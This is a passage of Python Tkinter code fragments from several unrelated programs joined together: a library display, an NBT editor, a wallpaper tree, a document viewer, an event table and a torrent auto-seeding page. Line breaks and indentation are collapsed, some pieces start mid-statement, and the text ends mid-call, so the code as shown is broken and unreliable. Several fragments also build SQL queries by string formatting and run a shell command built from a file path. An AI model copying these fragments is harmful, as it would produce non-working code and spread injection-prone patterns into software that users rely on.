def Mk_Book_display(book, name): w = book.page(name) disp = Frame(w) tree_columns = ('book_no', 'book_name', 'book_author', 'book_publisher', 'in_out_status') Entries=Treeview( disp, columns=tree_columns, show="headings" ) global_bucket['book_shelf'] = Entries vsb = Scrollbar ( disp, orient="vertical", command=Entries.yview) Entries.configure(yscrollcommand=vsb.set) for col,width in zip(tree_columns,(4,20,10,5,6)): Entries.heading(col, text=col.title(), anchor='w') Entries.column(col, width=1) vsb.pack(side=RIGHT,fill=Y) Entries.pack(fill=BOTH, expand=1) disp.pack(fill=BOTH, expand=1) update()
class MainWindow(Frame): """ Macro class for the main program window """ def __init__(self, parent): Frame.__init__(self, parent) self.parent = parent self.parent.title('PyNBTx %s' % __version__) self.style = Style() self.style.theme_use('default') self.style.configure('TButton', padding=0) self.pack(fill=BOTH, expand=1) self.menu = MainMenu(root) self.toolbar = ToolBar(self) self.tree = Treeview(self, height=20) self.tree_display = TreeDisplay(self.tree) self.ui_init() def ui_init(self): root['menu'] = self.menu self.toolbar.pack(anchor=NW, padx=4, pady=4) self.tree.column('#0', width=300) self.tree.pack(fill=BOTH, anchor=NW, padx=4, pady=4)
def _maketree(parent_tree, wallpapers, conf): tree = Treeview(parent_tree) i = 0 if conf['type'] == 'workspace': for workspace, wallpaper_files in wallpapers.items(): i += 1 index = str(i) tree.insert('', 'end', index, text=workspace) for j, wallpaper_file in enumerate(wallpaper_files): inner_index = index + '_' + str(j) tree.insert(index, 'end', inner_index, text=wallpaper_file) elif conf['type'] == 'desktop': for wallpaper_file in wallpapers: i += 1 index = str(i) tree.insert('', 'end', index, text=wallpaper_file) tree.pack()
class DataTree(Frame): def __init__(self, master): Frame.__init__(self, master, bg="black") scroll = Scrollbar(self) self.tree = Treeview(self, yscrollcommand=scroll.set) scroll.config(command=self.tree.yview) self.items = [] self.tree.pack(side=LEFT, fill=BOTH, expand=1) scroll.pack(side=LEFT, fill=Y) def update(self, files): self.files = files # reversing, since removing a node with children removes the children as # well. there might be a cleaner way to do this by clearing each of the # file nodes, but that might add more burden to the garbage collector # down the line. for item in reversed(self.items): self.tree.delete(item) self.items = [] for (i, datafile) in enumerate(self.files): self.add_file(datafile, i) def add_file(self, f, f_id): file_id = self.tree.insert("", "end", text=f.name) self.items.append(file_id) self.add_node(file_id, f.data, f_id) def add_node(self, p, node, f_id): if node.name != '': node_id = self.tree.insert(p, "end", text=node.name, values=(f_id, node.path)) self.items.append(node_id) else: node_id = p if node.is_grp: for child in node.children: self.add_node(node_id, child, f_id)
class Table(Frame): def __init__(self, parent, title, columns): Frame.__init__(self, parent) self.pack(expand=YES, fill=BOTH) self.title_lbl = Label(self, text=title, font=GENERAL_FONT) self.table_tree = Treeview(self, columns=columns) # добавить Scrollbar self.scroll = Scroll(self, orient=VERTICAL, command=self.table_tree.yview) self.table_tree['yscroll'] = self.scroll.set for i in range(len(columns)): self.table_tree.heading(columns[i], text=columns[i]) self.place_widgets() def place_widgets(self): self.title_lbl.pack(side=TOP, fill=X, expand=YES) self.table_tree.pack(side=LEFT, fill=BOTH, expand=YES) self.scroll.pack(side=RIGHT, fill=Y, expand=YES)
class Window(Tk): def __init__(self): super().__init__() self.title('Treepace Tree Transformation GUI Demo') self.geometry('640x400') self.resizable(False, False) self.tree_frame = Frame() self.tree_button = Button(self.tree_frame, text="Load tree", command=self.load) self.tree_button.pack(expand=True, fill=BOTH) self.tree_text = Text(self.tree_frame, width=20) self.tree_text.pack(expand=True, fill=BOTH) self.tree_text.insert('1.0', DEFAULT_TREE) self.tree_frame.pack(side=LEFT, expand=True, fill=BOTH) self.program_frame = Frame() self.program_button = Button(self.program_frame, text="Transform", command=self.transform) self.program_button.pack(expand=True, fill=BOTH) self.program_text = Text(self.program_frame, width=60, height=8) self.program_text.pack(expand=True, fill=BOTH) self.program_text.insert('1.0', DEFAULT_PROGRAM) self.tv = Treeview(self.program_frame) self.tv.pack(expand=True, fill=BOTH) self.program_frame.pack(side=LEFT, expand=True, fill=BOTH) GuiNode.tv = self.tv self.load() def load(self): if self.tv.exists('root'): self.tv.delete('root') program = self.tree_text.get('1.0', END) self.tree = Tree.load(program, IndentedText, GuiNode) def transform(self): try: self.tree.transform(self.program_text.get('1.0', END)) except Exception as e: messagebox.showerror("Transformation error", e)
def Mk_Status_display(book, name): w = book.page(name) disp = Frame(w) tree_columns = ('book_no', 'book_name', 'date', 'staff_id', 'staff_name', 'note') Entries=Treeview( disp, columns=tree_columns, show="headings", ) global_bucket['status_register'] = Entries vsb = Scrollbar ( disp, orient="vertical", command=Entries.yview) Entries.configure(yscrollcommand=vsb.set) for col in tree_columns: Entries.heading(col, text=col.title(), anchor='w') Entries.column(col, width=0) vsb.pack(side=RIGHT,fill=Y) Entries.pack(fill=BOTH, expand=1) disp.pack(fill=BOTH, expand=1) update()
def openFrame2(self): """""" self.hide() win_L = tk.Toplevel() #win_L.attributes("-fullscreen", True) win_L.geometry("800x470") win_L.title("紀錄查詢") win_L.photo_background = tk.PhotoImage(file=r"./拯救海龜的鼻子/背景圖/海龜.png") canvas_width = 800 canvas_height = 530 canvas = tk.Canvas(win_L, width=canvas_width, height=canvas_height) canvas.pack() #背景 canvas.create_image(400, 240, image=win_L.photo_background) handler = lambda: win_L.destroy() btn = tk.Button(win_L, text="確定", command=handler, font=('Noto Sans Mono CJK TC Regular', 20), fg='white', bg='Maroon', width=8) btn.place(x=330, y=380) #使用Treeview組件實現表格功能 frame = Frame(win_L) frame.place(x=100, y=50, width=600, height=280) #滾動條 scrollBar = tk.Scrollbar(frame) scrollBar.pack(side=tk.RIGHT, fill=tk.Y) #Treeview組件,6列,顯示表頭,帶垂直滾動條 tree = Treeview(frame, columns=('c1', 'c2', 'c3', 'c4'), show="headings", yscrollcommand=scrollBar.set) #設置每列寬度和對齊方式 tree.column('c1', width=80, anchor='center') tree.column('c2', width=150, anchor='center') tree.column('c3', width=150, anchor='center') tree.column('c4', width=200, anchor='center') #設置每列表頭標題文本 tree.heading('c1', text='投入次數') tree.heading('c2', text='投入物品(時間)') tree.heading('c3', text='分類項目(鐵、塑膠、紙)') tree.heading('c4', text='SC幣(鐵$3、塑膠$2、紙$1)') tree.pack(side=tk.LEFT, fill=tk.Y) #Treeview組件與垂直滾動條結合 scrollBar.config(command=tree.yview) #定義並綁定Treeview組件的鼠標單擊事件 def treeviewClick(event): pass tree.bind('<Button-1>', treeviewClick) for c in range(i): tree.insert("", c, values=(c + 1, saveK3[c], saveK1[c], saveK2[c])) #插入數據
class InfoViewer(Frame): """widget de visualisation d'information documents (nom document, date, emplacements)""" def __init__(self, boss, treeHeading, treeColumn, **options): self.sashObservable, self.childObservable = [], [] Frame.__init__(self, boss, **options) self.header = [] for h in treeHeading: self.header.append(h[0]) # print(self.header) self.tree = Treeview(self, columns=self.header, show="headings", selectmode="browse") self.tree.bind("<Double-Button-1>", self.openItem) for th in treeHeading: self.tree.heading(th[0], text=th[1]) for tc in treeColumn: widthRatio = int(self.winfo_reqwidth() / tc[1]) self.tree.column(tc[0], width=widthRatio) # treeId = self.tree.insert("", "end", values=("Baccalauréat Technologique", "12/02/34", "dans le placard")) # self.tree.insert("", "end", values=("Baccalauréat Technologique", "12/02/34", "dans le placard")) self.tree.pack(anchor=N, fill=BOTH, expand=True) def sashObserver(self, event=None): """observe l'event passé en argument et mes a jour les autres panedWindow""" # identification du sash isSash, sashCoord = event.widget.identify(event.x, event.y), None # print(isSash) if isSash == "": return elif isSash[1] == "sash": # recuperation des coordonnée du sash sashCoord = event.widget.sash_coord(isSash[0]) else: return # application au autre sash for w in self.sashObservable: if event.widget == w: pass else: w.sash_place(isSash[0], sashCoord[0], sashCoord[1]) def childObserver(self, event): """observe les event des listbox et met a jour les autres""" selec = event.widget.curselection() for w in self.childObservable: if w == event.widget: pass else: for i in selec: w.activate(i) def clean(self): """efface toute les entree du widget""" for i in self.tree.get_children(): self.tree.delete(i) self.tree.event_generate("<<TreeviewRefresh>>") return self.tree def set(self, values): """methode qui permet d'afficher dans le tableau des information formaté""" self.tree.insert("", "end", values=values) def get(self): """recupere les information contenu dans le tableau""" # print(self.tree.item(self.tree.focus(), "values")[0]) return self.tree.item(self.tree.focus(), "values") def openItem(self, event): data = self.tree.item(self.tree.focus(), "values") req1 = "SELECT pathfile FROM documents WHERE documents.documents_id = \"{}\"".format(data[4]) ViewWindows(self, self.master.master.gbd.exeReq(req1)[0][0])
eventtable.heading('Email',text='Email') eventtable.heading('Event_Address', text='Event_Address') eventtable.heading('Event_Date', text='Event_date') eventtable.heading('Added Date', text='Added Date') eventtable.heading('Added Time', text='Added Time') eventtable['show'] = 'headings' eventtable.column('Id',width=100) eventtable.column('Event_Name',width=200) eventtable.column('Co-Ordinator_Name',width=400) eventtable.column('Mobile No',width=200) eventtable.column('Email',width=300) eventtable.column('Event_Address',width=300) eventtable.column('Event_Date',width=170) eventtable.column('Added Date',width=170) eventtable.column('Added Time',width=170) eventtable.pack(fill=BOTH,expand=1) ################################################################################################################ Slider ss = 'Event Management System' count = 0 text = '' ################################## SliderLabel = Label(root, text=ss, font=('times', 25, 'italic bold'), relief=RIDGE, borderwidth=5, width=30, bg='skyblue') SliderLabel.place(x=0, y=0) ############################################################################################################### clock clock = Label(root, font=('times', 15, 'bold'), relief=RIDGE, borderwidth=4, bg='white') clock.place(x=1020, y=0) tick() ################################################################################################################## ConnectDatabaseButton connectbutton = Button(root, text='Admin Login', width=15, font=('times', 20, 'italic bold'), relief=RIDGE,
class AutoUploadPage(tk.Frame): # 继承Frame类 def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller # 存储任务列表 self.task_dict = {} self.complete_task = {} self.task_list = [] self.onduty_list = [] self.qb = None self.cu = self.controller.cu self.cx = self.controller.cx self.is_rss_mode = False self.t = 'Recorde_rss' self.refresh_t = 'Recorde_task_list' # 布局组件的定义 self.var_link = StringVar() self.entry_link = tk.Entry(self, textvariable=self.var_link, width=58, borderwidth=2, font=('Helvetica', '12')) self.entry_link.bind('<Return>', self.enter_add) self.button_add = tk.Button(self, text='Add', font=('Helvetica', '12'), width=6, command=self.add_task_by_click) self.frame_m = Frame(self) self.scrollBar = Scrollbar(self.frame_m) self.tree = Treeview(self.frame_m, columns=('c1', 'c2', 'c3'), show="headings", yscrollcommand=self.scrollBar.set) self.btnDelete = tk.Button(self, text='删除任务', command=self.delete_task) self.btnRefresh = tk.Button(self, text='备份任务', command=self.bak_task) self.rsshandler = get_rss_info.RssLinkHandler() self.config_dl = self.controller.config_dl self.menu = tk.Menu(self, tearoff=0) self.menulink = tk.Menu(self.menu, tearoff=0) self.menucopylink = tk.Menu(self.menu, tearoff=0) self.create_page() def create_page(self): # 添加种子部分 # LEFT self.entry_link.place(x=30, y=30, width=600, height=30) self.var_link.set('请输入种子详情链接:') self.entry_link.bind('<FocusIn>', self.on_entry_click) self.entry_link.bind('<FocusOut>', self.on_focus_out) self.entry_link.config(fg='grey') self.button_add.place(x=640, y=28, width=80, height=30) # 管理种子部分 self.frame_m.place(x=28, y=80, width=700, height=450) # 在Frame容器中创建滚动条 self.scrollBar.pack(side=RIGHT, fill=Y) # 在Frame容器中使用Treeview组件实现表格功能 # Treeview组件,三列,显示表头,带垂直滚动条 # 设置每列宽度和对齐方式 self.tree.column('c1', width=400, anchor='w') self.tree.column('c2', width=140, anchor='center') self.tree.column('c3', width=120, anchor='center') # 设置每列表头标题文本 self.tree.heading('c1', text='种子链接', command=lambda: self.treeview_sort_column(self.tree, 'c1', False)) self.tree.heading('c2', text='添加时间', command=lambda: self.treeview_sort_column(self.tree, 'c2', False)) self.tree.heading('c3', text='状态', command=lambda: self.treeview_sort_column(self.tree, 'c3', False)) # 左对齐,纵向填充 self.tree.pack(side=LEFT, fill=Y) self.tree.bind('<Double-1>', self.treeviewclick) self.tree.bind('<ButtonRelease-3>', self.onrightbuttonup) # Treeview组件与垂直滚动条结合 self.scrollBar.config(command=self.tree.yview) # 删除按钮 self.btnDelete.place(x=160, y=550, width=120, height=30) # 刷新按钮 self.btnRefresh.place(x=460, y=550, width=120, height=30) self.menu.add_command(label='查看进度', command=self.check_progress) self.menu.add_command(label='删除任务', command=self.del_task) self.menu.add_command(label='暂停下载', command=self.pause) self.menu.add_command(label='继续下载', command=self.resume) self.menu.add_separator() self.menulink.add_command(label='进入源站', command=self.open_link) self.menulink.add_command(label='进入蝴蝶', command=self.open_hudbt) self.menulink.add_command(label='进入北洋', command=self.open_tjupt) self.menulink.add_command(label='进入南洋', command=self.open_nypt) self.menulink.add_command(label='进入馒头', command=self.open_mteam) self.menulink.add_command(label='进入SSD', command=self.open_ssd) self.menulink.add_command(label='进入OurBits', command=self.open_ourbits) self.menulink.add_command(label='进入HDSky', command=self.open_hdsky) self.menulink.add_command(label='进入HDChina', command=self.open_hdchina) self.menulink.add_command(label='进入TTG', command=self.open_ttg) self.menulink.add_command(label='进入猫站', command=self.open_pter) self.menulink.add_command(label='以上全部', command=self.open_all) self.menu.add_cascade(label='打开链接', menu=self.menulink) self.menucopylink.add_command(label='源站链接', command=self.copy_link) self.menucopylink.add_command(label='蝴蝶链接', command=self.copy_hudbt) self.menucopylink.add_command(label='北洋链接', command=self.copy_tjupt) self.menucopylink.add_command(label='南洋链接', command=self.copy_nypt) self.menucopylink.add_command(label='馒头链接', command=self.copy_mteam) self.menucopylink.add_command(label='SSD链接', command=self.copy_ssd) self.menucopylink.add_command(label='OurBits链接', command=self.copy_ourbits) self.menucopylink.add_command(label='HDSky链接', command=self.copy_hdsky) self.menucopylink.add_command(label='HDChina链接', command=self.copy_hdchina) self.menucopylink.add_command(label='TTG链接', command=self.copy_ttg) self.menucopylink.add_command(label='猫站链接', command=self.copy_pter) self.menucopylink.add_command(label='以上全部', command=self.copy_all) self.menu.add_cascade(label='复制链接', menu=self.menucopylink) self.menu.add_separator() self.menu.add_command(label='显示详情', command=self.show_info) self.menu.add_command(label='打开文件夹', command=self.open_folder) def on_entry_click(self, event): """function that gets called whenever entry is clicked""" if self.var_link.get() == '请输入种子详情链接:': self.var_link.set('') # delete all the text in the entry self.entry_link.config(fg='black') def on_focus_out(self, event): if self.var_link.get() == '': self.var_link.set('请输入种子详情链接:') self.entry_link.config(fg='grey') # 添加下载任务 def add_task_by_click(self): detail_link = self.var_link.get() self.add_task_by_link(detail_link) # 重置界面 self.var_link.set('') self.entry_link.config(fg='grey') def all_time_refresh(self): while True: if len(self.onduty_list) == 0: break else: time.sleep(2) self.refresh_task() def enter_add(self, event): self.add_task_by_click() # 删除选中项的按钮 def delete_task(self): if not self.tree.selection(): tk.messagebox.showerror('抱歉', '你还没有选择,不能删除') return for item in self.tree.selection(): detail_link = self.tree.item(item, 'values')[0] statu = self.tree.item(item, 'values')[2] if statu not in ['任务完成', '任务丢失']: chosen_task = self.task_dict[detail_link] hash_info = chosen_task.get_hash_info() if chosen_task.get_statu() != '任务完成' and hash_info: try: torrent = self.qb.get_torrent(infohash=hash_info) if torrent['completion_date'] == -1: self.qb.delete_permanently(hash_info) except Exception: pass try: common_methods.stop_thread(chosen_task) except ValueError: pass except SystemError: pass self.task_dict.pop(detail_link) self.task_list.remove(detail_link) if len(self.onduty_list) == 0: try: common_methods.stop_thread(self.refresh_t) except ValueError: pass except SystemError: pass if detail_link in self.onduty_list: self.onduty_list.remove(detail_link) self.tree.delete(item) # 更新所有种子的下载状态 def refresh_task(self): task_all = self.tree.get_children() for item in task_all: value_link = self.tree.item(item, 'values')[0] value_addtime = self.tree.item(item, 'values')[1] value_statu = self.tree.item(item, 'values')[2] if value_link in self.task_dict.keys(): value_statu_now = self.task_dict[value_link].get_statu() if not value_statu == value_statu_now: self.tree.item(item, values=(value_link, value_addtime, value_statu_now)) if value_statu_now == '任务完成' or value_statu_now == '任务丢失': if value_statu_now == '任务完成': self.format_dict_for_completed_task(value_link) task = self.complete_task[value_link] all_statu = task['progress_info'] all_statu = '\n'.join(all_statu) try: cmd = 'insert into task(link,tasktime,statu) values("{link}", "{addtime}", "{statu}")'\ .format(link=value_link, addtime=value_addtime, statu=all_statu.replace('\'', 'tomorrow505')) self.cu.execute(cmd) self.cx.commit() except Exception as exc: print('任务添加至历史记录失败:%s' % exc) try: common_methods.stop_thread(self.task_dict[value_link]) except ValueError: pass except SystemError: pass self.onduty_list.remove(value_link) self.task_dict.pop(value_link) if len(self.onduty_list) == 0: try: common_methods.stop_thread(self.refresh_t) except ValueError: pass except SystemError: pass elif value_statu_now == '重新加载': self.controller.qb = common_methods.relogin() self.qb = self.controller.qb def treeviewclick(self, event): selected_item = self.tree.selection()[0] link = self.tree.item(selected_item, 'values')[0] webbrowser.open(link) def treeview_sort_column(self, tv, col, reverse): # Treeview、列名、排列方式 ll = [(tv.set(k, col), k) for k in tv.get_children('')] ll.sort(reverse=reverse) # 排序方式 for index, (val, k) in enumerate(ll): # 根据排序后索引移动 tv.move(k, '', index) tv.heading(col, command=lambda: self.treeview_sort_column( tv, col, not reverse)) # 重写标题,使之成为再点倒序的标题 def add_rss_task(self): while True: self.rsshandler.change_refresh_time(self.config_dl['refresh_time']) self.rsshandler.now_time = '' entries_list = self.rsshandler.get_entries(self.config_dl['Max_Size']) for item in entries_list: detail_link = item['link'] if detail_link in self.task_list: continue add_time = datetime.datetime.now().strftime('%Y/%m/%d %H:%M:%S') values = [detail_link, add_time, '准备下载'] self.tree.insert('', 'end', values=values) new_task = autoseed_task.AutoSeed(self.qb, item, self.config_dl) new_task.start() self.task_dict[detail_link] = new_task self.task_list.append(detail_link) self.onduty_list.append(detail_link) if len(self.onduty_list) == 1: self.refresh_t = threading.Thread(target=self.all_time_refresh, args=()) self.refresh_t.start() if int(self.config_dl['refresh_time']) == 0: sleep(600) else: try: common_methods.stop_thread(self.t) except ValueError: pass except SystemError: pass sleep(int(self.config_dl['refresh_time']-1) * 60 + 30) self.t = threading.Thread(target=self.add_rss_task, args=()) self.t.start() self.is_rss_mode = True def reopen_rss(self): try: common_methods.stop_thread(self.t) except ValueError: pass except SystemError: pass self.t = threading.Thread(target=self.add_rss_task, args=()) self.t.start() self.is_rss_mode = True tk.messagebox.showinfo('提示', 'RSS模式已经重启') def init_qb(self): self.qb = self.controller.qb self.get_bak_task() self.check_rss_mode() def check_rss_mode(self): if self.config_dl['rss_open']: if not self.is_rss_mode: self.t = threading.Thread(target=self.add_rss_task, args=()) self.t.start() self.is_rss_mode = True return 'opened' else: return 'opened_already' else: if self.is_rss_mode: try: common_methods.stop_thread(self.t) except ValueError: pass except SystemError: pass self.is_rss_mode = False return 'closed' else: return 'closed_already' def bak_task(self): self.refresh_task() bak_task = [] # 以列表的形式保存未完成的种子 task_all = self.tree.get_children() for item in task_all: value_link = self.tree.item(item, 'values')[0] value_statu = self.tree.item(item, 'values')[2] if value_statu not in ['任务完成', '任务丢失', '机器人转发']: task = self.task_dict[value_link] bak_task.append(task.get_origin_url()) try: common_methods.stop_thread(task) except ValueError: pass except SystemError: pass with open(USER_BAK_TASK_PATH, "wb") as bak_file: # with open with语句可以自动关闭资源 pickle.dump(bak_task, bak_file) def get_bak_task(self): try: with open(USER_BAK_TASK_PATH, "rb") as bak_file: bak_task = pickle.load(bak_file) if not bak_task: return for item in bak_task: if isinstance(item, dict): link = item['link'] else: link = item add_time = datetime.datetime.now().strftime('%Y/%m/%d %H:%M:%S') values = [link, add_time, '准备下载'] self.tree.insert('', 'end', values=values) new_task = autoseed_task.AutoSeed(self.qb, item, self.config_dl) self.task_dict[link] = new_task self.onduty_list.append(link) self.task_list.append(link) new_task.start() if len(self.onduty_list) == 1: self.refresh_t = threading.Thread(target=self.all_time_refresh, args=()) self.refresh_t.start() except FileNotFoundError: pass def add_task_by_link(self, string, mode=0, *args): detail_link = string # 禁止空或者误操作 if not detail_link or detail_link == '请输入种子详情链接:': return # 禁止重复添加的链接 if detail_link in self.task_list: messagebox.showerror('错误', '重复添加的链接!') return # 禁止不支持的网站 support_sign = common_methods.find_origin_site(detail_link) if support_sign == 0: messagebox.showerror('错误', '不支持的网站!') return torrent_id = common_methods.get_id(detail_link) if torrent_id == -1: messagebox.showerror('错误', '不是种子详情链接!') return # 显示任务到列表 add_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S').replace('-', '/') values = [detail_link, add_time, '准备下载'] # 添加到尾部 if mode == 0: self.tree.insert('', 'end', values=values) # 添加到首部 # self.tree.insert('', 0, values=values) # 添加任务到后台并开启 # 构造元祖实现远程判断 if args: detail_link_tuple = (args[0], detail_link) else: detail_link_tuple = detail_link new_task = autoseed_task.AutoSeed(self.qb, detail_link_tuple, self.config_dl) new_task.start() self.task_dict[detail_link] = new_task self.task_list.append(detail_link) self.onduty_list.append(detail_link) if len(self.onduty_list) == 1: self.refresh_t = threading.Thread(target=self.all_time_refresh, args=()) self.refresh_t.start() return '任务已经添加' def get_statu_by_link(self, link): task_all = self.tree.get_children() for item in task_all: value_link = self.tree.item(item, 'values')[0] if value_link == link: value_statu = self.tree.item(item, 'values')[2] return value_statu return 'no result' def cancle_task_by_link(self, detail_link): find = False task_all = self.tree.get_children() for item in task_all: link = self.tree.item(item, 'values')[0] if link == detail_link: self.tree.delete(item) find = True break if find: chosen_task = self.task_dict[detail_link] hash_info = chosen_task.get_hash_info() if chosen_task.get_statu() != '任务完成' and hash_info: self.qb.delete_permanently(hash_info) else: return '任务还未开始或已经完成' try: common_methods.stop_thread(chosen_task) except ValueError: pass except SystemError: pass self.task_list.remove(detail_link) self.task_dict.pop(detail_link) if detail_link in self.onduty_list: self.onduty_list.remove(detail_link) return '取消成功' else: return '没找到任务' def close_rss(self): self.config_dl['rss_open'] = False self.check_rss_mode() def open_link(self): selected_item = self.tree.selection()[0] link = self.tree.item(selected_item, 'values')[0] webbrowser.open(link) def open_hudbt(self): link = self.get_uploaded_link() if link['hudbt']: webbrowser.open(link['hudbt']) def open_tjupt(self): link = self.get_uploaded_link() if link['tjupt']: webbrowser.open(link['tjupt']) # else: # webbrowser.open('https://www.tjupt.org/torrents.php') def open_nypt(self): link = self.get_uploaded_link() if link['nypt']: webbrowser.open(link['nypt']) # else: # webbrowser.open('https://www.tjupt.org/torrents.php') def open_mteam(self): link = self.get_uploaded_link() if link['mteam']: webbrowser.open(link['mteam']) def open_ssd(self): link = self.get_uploaded_link() if link['ssd']: webbrowser.open(link['ssd']) # else: # webbrowser.open('https://www.tjupt.org/torrents.php') def open_ourbits(self): link = self.get_uploaded_link() if link['ourbits']: webbrowser.open(link['ourbits']) def open_hdsky(self): link = self.get_uploaded_link() if link['hdsky']: webbrowser.open(link['hdsky']) def open_hdchina(self): link = self.get_uploaded_link() if link['hdchina']: webbrowser.open(link['hdchina']) def open_ttg(self): link = self.get_uploaded_link() if link['ttg']: webbrowser.open(link['ttg']) def open_pter(self): link = self.get_uploaded_link() if link['pter']: webbrowser.open(link['pter']) def open_all(self): all_link = [] selected_item = self.tree.selection()[0] origin_link = self.tree.item(selected_item, 'values')[0] all_link.append(origin_link) link = self.get_uploaded_link() if link['hudbt']: all_link.append(link['hudbt']) else: pass if link['tjupt']: all_link.append(link['tjupt']) else: pass if link['nypt']: all_link.append(link['nypt']) else: pass if link['mteam']: all_link.append(link['mteam']) else: pass if link['ssd']: all_link.append(link['ssd']) else: pass if link['ourbits']: all_link.append(link['ourbits']) else: pass if link['hdsky']: all_link.append(link['hdsky']) else: pass if link['hdchina']: all_link.append(link['hdchina']) else: pass if link['ttg']: all_link.append(link['ttg']) else: pass if link['pter']: all_link.append(link['pter']) else: pass for item in all_link: webbrowser.open(item) def show_info(self): selected_item = self.tree.selection()[0] link = self.tree.item(selected_item, 'values')[0] statu = self.tree.item(selected_item, 'values')[2] if not statu == '任务完成': if statu == '任务丢失': tk.messagebox.showerror('错误', '任务已丢失!') else: task = self.task_dict[link] all_statu = task.get_all_info() tk.messagebox.showinfo('详情', '\n'.join(all_statu)) else: task = self.complete_task[link] all_statu = task['progress_info'] tk.messagebox.showinfo('详情', '\n'.join(all_statu)) def pause(self): task = self.get_task() if task: if isinstance(task, dict): hash_info = task['hash_info'] else: hash_info = task.get_hash_info() if hash_info: try: self.qb.pause(hash_info) task.statu.append('已暂停') except Exception as exc: tk.messagebox.showinfo('提示', '出现错误:%s' % exc) else: tk.messagebox.showerror('错误', '尚未开始下载!!') def resume(self): task = self.get_task() if task: if isinstance(task, dict): hash_info = task['hash_info'] else: hash_info = task.get_hash_info() if hash_info: try: self.qb.resume(hash_info) task.statu.append('下载中……') except Exception as exc: tk.messagebox.showinfo('提示', '出现错误:%s' % exc) def check_progress(self): task = self.get_task() if task: if isinstance(task, dict): hash_info = task['hash_info'] else: hash_info = task.get_hash_info() if hash_info: try: torrent = self.qb.get_torrent(hash_info) if 'progress' in torrent.keys(): progress = torrent['progress']*100 else: progress = float(torrent['total_downloaded'])/float(torrent['total_size'])*1000 progress = ceil(progress)/10.0 tk.messagebox.showinfo('已完成', '完成进度:%.1f %s' % (progress, '%')) except Exception as exc: tk.messagebox.showinfo('提示', '出现错误:%s' % exc) else: tk.messagebox.showinfo('错误', '任务已丢失!!') def open_folder(self): task = self.get_task() if task: if isinstance(task, dict): path = task['path'] else: path = task.get_abs_file_path() path = path.replace('/', '\\') if path: subprocess.call("explorer.exe %s" % path, shell=True) # os.system("explorer.exe %s" % path) else: tk.messagebox.showinfo('提示', '尚未下载……') else: tk.messagebox.showinfo('错误', '任务已丢失!!') def del_task(self): self.delete_task() def copy_link(self): selected_item = self.tree.selection()[0] link = self.tree.item(selected_item, 'values')[0] self.controller.clipboard_clear() self.controller.clipboard_append(link) def copy_hudbt(self): link = self.get_uploaded_link() if link['hudbt']: self.controller.clipboard_clear() self.controller.clipboard_append(link['hudbt']) def copy_tjupt(self): link = self.get_uploaded_link() if link['tjupt']: self.controller.clipboard_clear() self.controller.clipboard_append(link['tjupt']) def copy_nypt(self): link = self.get_uploaded_link() if link['nypt']: self.controller.clipboard_clear() self.controller.clipboard_append(link['nypt']) def copy_mteam(self): link = self.get_uploaded_link() if link['mteam']: self.controller.clipboard_clear() self.controller.clipboard_append(link['mteam']) def copy_ssd(self): link = self.get_uploaded_link() if link['ssd']: self.controller.clipboard_clear() self.controller.clipboard_append(link['ssd']) def copy_ourbits(self): link = self.get_uploaded_link() if link['ourbits']: self.controller.clipboard_clear() self.controller.clipboard_append(link['ourbits']) def copy_hdsky(self): link = self.get_uploaded_link() if link['hdsky']: self.controller.clipboard_clear() self.controller.clipboard_append(link['hdsky']) def copy_hdchina(self): link = self.get_uploaded_link() if link['hdchina']: self.controller.clipboard_clear() self.controller.clipboard_append(link['hdchina']) def copy_ttg(self): link = self.get_uploaded_link() if link['ttg']: self.controller.clipboard_clear() self.controller.clipboard_append(link['ttg']) def copy_pter(self): link = self.get_uploaded_link() if link['pter']: self.controller.clipboard_clear() self.controller.clipboard_append(link['pter']) def copy_all(self): all_link = [] selected_item = self.tree.selection()[0] origin_link = self.tree.item(selected_item, 'values')[0] all_link.append(origin_link) link = self.get_uploaded_link() if link['hudbt']: all_link.append(link['hudbt']) else: pass if link['tjupt']: all_link.append(link['tjupt']) else: pass if link['nypt']: all_link.append(link['nypt']) else: pass if link['mteam']: all_link.append(link['mteam']) else: pass if link['ssd']: all_link.append(link['ssd']) else: pass if link['ourbits']: all_link.append(link['ourbits']) else: pass if link['hdsky']: all_link.append(link['hdsky']) else: pass if link['hdchina']: all_link.append(link['hdchina']) else: pass if link['ttg']: all_link.append(link['ttg']) else: pass if link['pter']: all_link.append(link['pter']) else: pass self.controller.clipboard_clear() self.controller.clipboard_append('\n'.join(all_link)) def onrightbuttonup(self, event): if not self.tree.selection(): pass else: selected_item = self.tree.selection()[0] statu_now = self.tree.item(selected_item, 'values')[2] if statu_now not in ['已暂停', '下载中……']: self.menu.entryconfig('暂停下载', state='disabled') self.menu.entryconfig('继续下载', state='disabled') else: if statu_now == '已暂停': self.menu.entryconfig('暂停下载', state='disabled') self.menu.entryconfig('继续下载', state='normal') if statu_now == '下载中……': self.menu.entryconfig('暂停下载', state='normal') self.menu.entryconfig('继续下载', state='disabled') link = self.get_uploaded_link() if link['hudbt']: self.menulink.entryconfig('进入蝴蝶', state='normal') self.menucopylink.entryconfig('蝴蝶链接', state='normal') else: self.menulink.entryconfig('进入蝴蝶', state='disabled') self.menucopylink.entryconfig('蝴蝶链接', state='disabled') if link['tjupt']: self.menulink.entryconfig('进入北洋', state='normal') self.menucopylink.entryconfig('北洋链接', state='normal') else: self.menulink.entryconfig('进入北洋', state='disabled') self.menucopylink.entryconfig('北洋链接', state='disabled') if link['nypt']: self.menulink.entryconfig('进入南洋', state='normal') self.menucopylink.entryconfig('南洋链接', state='normal') else: self.menulink.entryconfig('进入南洋', state='disabled') self.menucopylink.entryconfig('南洋链接', state='disabled') if link['mteam']: self.menulink.entryconfig('进入馒头', state='normal') self.menucopylink.entryconfig('馒头链接', state='normal') else: self.menulink.entryconfig('进入馒头', state='disabled') self.menucopylink.entryconfig('馒头链接', state='disabled') if link['ssd']: self.menulink.entryconfig('进入SSD', state='normal') self.menucopylink.entryconfig('SSD链接', state='normal') else: self.menulink.entryconfig('进入SSD', state='disabled') self.menucopylink.entryconfig('SSD链接', state='disabled') if link['ourbits']: self.menulink.entryconfig('进入OurBits', state='normal') self.menucopylink.entryconfig('OurBits链接', state='normal') else: self.menulink.entryconfig('进入OurBits', state='disabled') self.menucopylink.entryconfig('OurBits链接', state='disabled') if link['hdsky']: self.menulink.entryconfig('进入HDSky', state='normal') self.menucopylink.entryconfig('HDSky链接', state='normal') else: self.menulink.entryconfig('进入HDSky', state='disabled') self.menucopylink.entryconfig('HDSky链接', state='disabled') if link['ttg']: self.menulink.entryconfig('进入TTG', state='normal') self.menucopylink.entryconfig('TTG链接', 